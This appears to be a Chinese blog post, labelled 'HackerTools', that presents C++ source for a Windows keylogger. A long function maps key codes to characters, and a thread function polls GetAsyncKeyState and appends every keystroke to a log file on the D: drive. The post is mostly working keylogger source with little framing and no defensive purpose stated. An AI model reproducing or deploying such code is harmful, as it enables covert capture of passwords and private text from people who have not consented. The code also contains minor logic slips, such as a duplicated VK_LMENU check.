mfc HackerTools监控键盘按键
阅读原文时间:2023年07月13日阅读:1

string GetKey(int Key)
{
string KeyString = "";
//判断符号输入
const int KeyPressMask = 0x80000000; //键盘掩码常量
int iShift = GetKeyState(0x10); //判断Shift键状态
bool IS = (iShift & KeyPressMask) == KeyPressMask; //表示按下Shift键
if (Key >= 186 && Key <= 222) { switch (Key) { case 186: if (IS) KeyString = ":"; else KeyString = ";"; break; case 187: if (IS) KeyString = "+"; else KeyString = "="; break; case 188: if (IS) KeyString = "<"; else KeyString = ","; break; case 189: if (IS) KeyString = "_"; else KeyString = "-"; break; case 190: if (IS) KeyString = ">";
else
KeyString = ".";
break;
case 191:
if (IS)
KeyString = "?";
else
KeyString = "/";
break;
case 192:
if (IS)
KeyString = "~";
else
KeyString = "`";
break;
case 219:
if (IS)
KeyString = "{";
else
KeyString = "[";
break;
case 220:
if (IS)
KeyString = "|";
else
KeyString = "\\";
break;
case 221:
if (IS)
KeyString = "}";
else
KeyString = "]";
break;
case 222:
if (IS)
KeyString = '"';
else
KeyString = "'";
break;
}
}
//判断键盘的第一行
if (Key == VK_ESCAPE) // 退出
KeyString = "[Esc]";
else if (Key == VK_F1) // F1至F12
KeyString = "[F1]";
else if (Key == VK_F2)
KeyString = "[F2]";
else if (Key == VK_F3)
KeyString = "[F3]";
else if (Key == VK_F4)
KeyString = "[F4]";
else if (Key == VK_F5)
KeyString = "[F5]";
else if (Key == VK_F6)
KeyString = "[F6]";
else if (Key == VK_F7)
KeyString = "[F7]";
else if (Key == VK_F8)
KeyString = "[F8]";
else if (Key == VK_F9)
KeyString = "[F9]";
else if (Key == VK_F10)
KeyString = "[F10]";
else if (Key == VK_F11)
KeyString = "[F11]";
else if (Key == VK_F12)
KeyString = "[F12]";
else if (Key == VK_SNAPSHOT) // 打印屏幕
KeyString = "[PrScrn]";
else if (Key == VK_SCROLL) // 滚动锁定
KeyString = "[Scroll Lock]";
else if (Key == VK_PAUSE) // 暂停、中断
KeyString = "[Pause]";
else if (Key == VK_CAPITAL) // 大写锁定
KeyString = "[Caps Lock]";

//-------------------------------------//  
//控制键  
else if (Key == 8) //<- 回格键  
    KeyString = "\[Backspace\]";  
else if (Key == VK\_RETURN) // 回车键、换行  
    KeyString = "\[Enter\]\\n";  
else if (Key == VK\_SPACE) // 空格  
    KeyString = " ";  
//上档键:键盘记录的时候,可以不记录。单独的Shift是不会有任何字符,  
//上档键和别的键组合,输出时有字符输出  
/\*  
else if (Key == VK\_LSHIFT) // 左侧上档键  
KeyString = "\[Shift\]";  
else if (Key == VK\_LSHIFT) // 右侧上档键  
KeyString = "\[SHIFT\]";  
\*/  
/\*如果只是对键盘输入的字母进行记录:可以不让以下键输出到文件\*/  
else if (Key == VK\_TAB) // 制表键  
    KeyString = "\[Tab\]";  
else if (Key == VK\_LCONTROL) // 左控制键  
    KeyString = "\[Ctrl\]";  
else if (Key == VK\_RCONTROL) // 右控制键  
    KeyString = "\[CTRL\]";  
else if (Key == VK\_LMENU) // 左换档键  
    KeyString = "\[Alt\]";  
else if (Key == VK\_LMENU) // 右换档键  
    KeyString = "\[ALT\]";  
else if (Key == VK\_LWIN) // 右 WINDOWS 键  
    KeyString = "\[Win\]";  
else if (Key == VK\_RWIN) // 右 WINDOWS 键  
    KeyString = "\[WIN\]";  
else if (Key == VK\_APPS) // 键盘上 右键  
    KeyString = "右键";  
else if (Key == VK\_INSERT) // 插入  
    KeyString = "\[Insert\]";  
else if (Key == VK\_DELETE) // 删除  
    KeyString = "\[Delete\]";  
else if (Key == VK\_HOME) // 起始  
    KeyString = "\[Home\]";  
else if (Key == VK\_END) // 结束  
    KeyString = "\[End\]";  
else if (Key == VK\_PRIOR) // 上一页  
    KeyString = "\[PgUp\]";  
else if (Key == VK\_NEXT) // 下一页  
    KeyString = "\[PgDown\]";  
// 不常用的几个键:一般键盘没有  
else if (Key == VK\_CANCEL) // Cancel  
    KeyString = "\[Cancel\]";  
else if (Key == VK\_CLEAR) // Clear  
    KeyString = "\[Clear\]";  
else if (Key == VK\_SELECT) //Select  
    KeyString = "\[Select\]";  
else if (Key == VK\_PRINT) //Print  
    KeyString = "\[Print\]";  
else if (Key == VK\_EXECUTE) //Execute  
    KeyString = "\[Execute\]";

//----------------------------------------//  
else if (Key == VK\_LEFT) //上、下、左、右键  
    KeyString = "\[←\]";  
else if (Key == VK\_RIGHT)  
    KeyString = "\[→\]";  
else if (Key == VK\_UP)  
    KeyString = "\[↑\]";  
else if (Key == VK\_DOWN)  
    KeyString = "\[↓\]";  
else if (Key == VK\_NUMLOCK)//小键盘数码锁定  
    KeyString = "\[NumLock\]";  
else if (Key == VK\_ADD) // 加、减、乘、除  
    KeyString = "+";  
else if (Key == VK\_SUBTRACT)  
    KeyString = "-";  
else if (Key == VK\_MULTIPLY)  
    KeyString = "\*";  
else if (Key == VK\_DIVIDE)  
    KeyString = "/";  
else if (Key == 190 || Key == 110) // 小键盘 . 及键盘 .  
    KeyString = ".";  
//小键盘数字键:0-9  
else if (Key == VK\_NUMPAD0)  
    KeyString = "0";  
else if (Key == VK\_NUMPAD1)  
    KeyString = "1";  
else if (Key == VK\_NUMPAD2)  
    KeyString = "2";  
else if (Key == VK\_NUMPAD3)  
    KeyString = "3";  
else if (Key == VK\_NUMPAD4)  
    KeyString = "4";  
else if (Key == VK\_NUMPAD5)  
    KeyString = "5";  
else if (Key == VK\_NUMPAD6)  
    KeyString = "6";  
else if (Key == VK\_NUMPAD7)  
    KeyString = "7";  
else if (Key == VK\_NUMPAD8)  
    KeyString = "8";  
else if (Key == VK\_NUMPAD9)  
    KeyString = "9";  
//-------------------------------------------//

//-------------------------------------------//  
//\*对字母的大小写进行判断\*//  
else if (Key >= 97 && Key <= 122) // 字母:a-z  
{  
    if (GetKeyState(VK\_CAPITAL)) // 大写锁定  
    {  
        if (IS) //Shift按下:为小写字母  
            KeyString = Key;  
        else // 只有大写锁定:输出大写字母  
            KeyString = Key - 32;  
    }  
    else// 大写没有锁定  
    {  
        if (IS) // 按下Shift键: 大写字母  
            KeyString = Key - 32;  
        else // 没有按Shift键: 小写字母  
            KeyString = Key;  
    }  
}  
else if (Key >= 48 && Key <= 57) // 键盘数字:0-9及上方的符号  
{  
    if (IS)  
    {  
        switch (Key)  
        {  
        case 48: //0  
            KeyString = ")";  
            break;  
        case 49://1  
            KeyString = "!";  
            break;  
        case 50://2  
            KeyString = "@";  
            break;  
        case 51://3  
            KeyString = "#";  
            break;  
        case 52://4  
            KeyString = "$";  
            break;  
        case 53://5  
            KeyString = "%";  
            break;  
        case 54://6  
            KeyString = "^";  
            break;  
        case 55://7  
            KeyString = "&";  
            break;  
        case 56://8  
            KeyString = "\*";  
            break;  
        case 57://9  
            KeyString = "(";  
            break;  
        }  
    }  
    else  
        KeyString = Key;  
}  
if (Key != VK\_LBUTTON || Key != VK\_RBUTTON)  
{  
    if (Key >= 65 && Key <= 90) //ASCII 65-90 为A-Z  
    {  
        if (GetKeyState(VK\_CAPITAL)) // 大写锁定:输出A-Z  
        {  
            if (IS) // 大写锁定,并且按下上档键:输出为小写字母  
                KeyString = Key + 32;  
            else //只有大写锁定:输出为大写字母  
                KeyString = Key;  
        }  
        else // 大写没有锁定:a-z  
        {  
            if (IS)  
            {  
                KeyString = Key;  
            }  
            else  
            {  
                Key = Key + 32;  
                KeyString = Key;  
            }  
        }  
    }  
}  
return KeyString;  

}

UINT KeyRecordProc(LPVOID lpVoid)
{
string Filename = "D:\\log.txt";//倒出记录文本存在D盘log.txt目录下
string TempString = "";
fstream FStream;
HWND hWnd = NULL;
wchar_t* WindowName = NULL;
::MessageBox(0,L"现在开始键盘记录",L"OK",0);
FStream.open(Filename.c_str(), std::fstream::out | std::fstream::app);
while (true)
{
Sleep(5);
for (int i = 8; i <= 255; i++)
{
if ((GetAsyncKeyState(i) & 1) == 1)
{
//获取并写入按键
TempString = GetKey(i);
FStream.write(TempString.c_str(), TempString.size());
FStream.close();
FStream.open(Filename.c_str(), std::fstream::out | std::fstream::app);
}
}
}
}

开启一个线程循环监听键盘按键。

手机扫一扫

移动阅读更方便

阿里云服务器
腾讯云服务器
七牛云服务器

你可能感兴趣的文章